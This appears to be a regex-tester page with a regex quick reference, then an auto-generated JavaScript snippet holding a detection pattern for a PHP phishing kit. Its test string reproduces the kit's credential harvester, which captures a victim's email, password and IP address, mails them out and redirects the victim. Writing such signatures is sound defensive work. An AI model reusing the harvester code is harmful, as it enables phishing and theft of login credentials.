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  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
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const regex = /^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*\$ip\s*=\s*getenv\(['"]REMOTE_ADDR["']\);(\s*\$\w+\s*\.=\s*).{0,90}?\$_POST\[["']up_email["']\]\."\\n";\s*\1['"]\s*Password.{0,50}?\1['"]confirm\s*password.{0,90}?\1['"]\-+created\s*by\s*burhan\-+\\n["'];\s*include\s*["']email\.php.{0,50}?mail\([^;]+;\s*header\s*\(['"]location:\s*\w+.php\?email=\$email(?:[^>]+>\s*)?$/gis; // Alternative syntax using RegExp constructor // const regex = new RegExp('^(?:[[:^print:][:cntrl:]\\s]|GIF89.{0,20})*<\\?(?:php)?\\s*\\$ip\\s*=\\s*getenv\\([\'"]REMOTE_ADDR["\']\\);(\\s*\\$\\w+\\s*\\.=\\s*).{0,90}?\\$_POST\\[["\']up_email["\']\\]\\."\\\\n";\\s*\\1[\'"]\\s*Password.{0,50}?\\1[\'"]confirm\\s*password.{0,90}?\\1[\'"]\\-+created\\s*by\\s*burhan\\-+\\\\n["\'];\\s*include\\s*["\']email\\.php.{0,50}?mail\\([^;]+;\\s*header\\s*\\([\'"]location:\\s*\\w+.php\\?email=\\$email(?:[^>]+>\\s*)?$', 'gis') const str = `<? \$ip = getenv("REMOTE_ADDR"); \$message .= "--------------New Login--------\\n"; \$message .= "Email-ID : ".\$_POST['up_email']."\\n"; \$message .= " Password : ".\$_POST['up__X_PASSWORD']."\\n"; \$message .= "confirm password : ".\$_POST['Password']."\\n"; \$message .= "Client IP : ".\$ip."\\n"; \$message .= "---------------Created BY Burhan-----------\\n"; include 'email.php'; \$subject = "--New Log \$ip "; mail(\$to,\$subject,\$message,\$headers); header ("Location: incorrect.php?email=\$email".\$_POST['up_email']); ?>`; // Reset `lastIndex` if this regex is defined globally // regex.lastIndex = 0; let m; while ((m = regex.exec(str)) !== null) { // This is necessary to avoid infinite loops with zero-width matches if (m.index === regex.lastIndex) { regex.lastIndex++; } // The result can be accessed through the `m`-variable. m.forEach((match, groupIndex) => { console.log(`Found match, group ${groupIndex}: ${match}`); }); }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for JavaScript, please visit: https://developer.mozilla.org/en/docs/Web/JavaScript/Guide/Regular_Expressions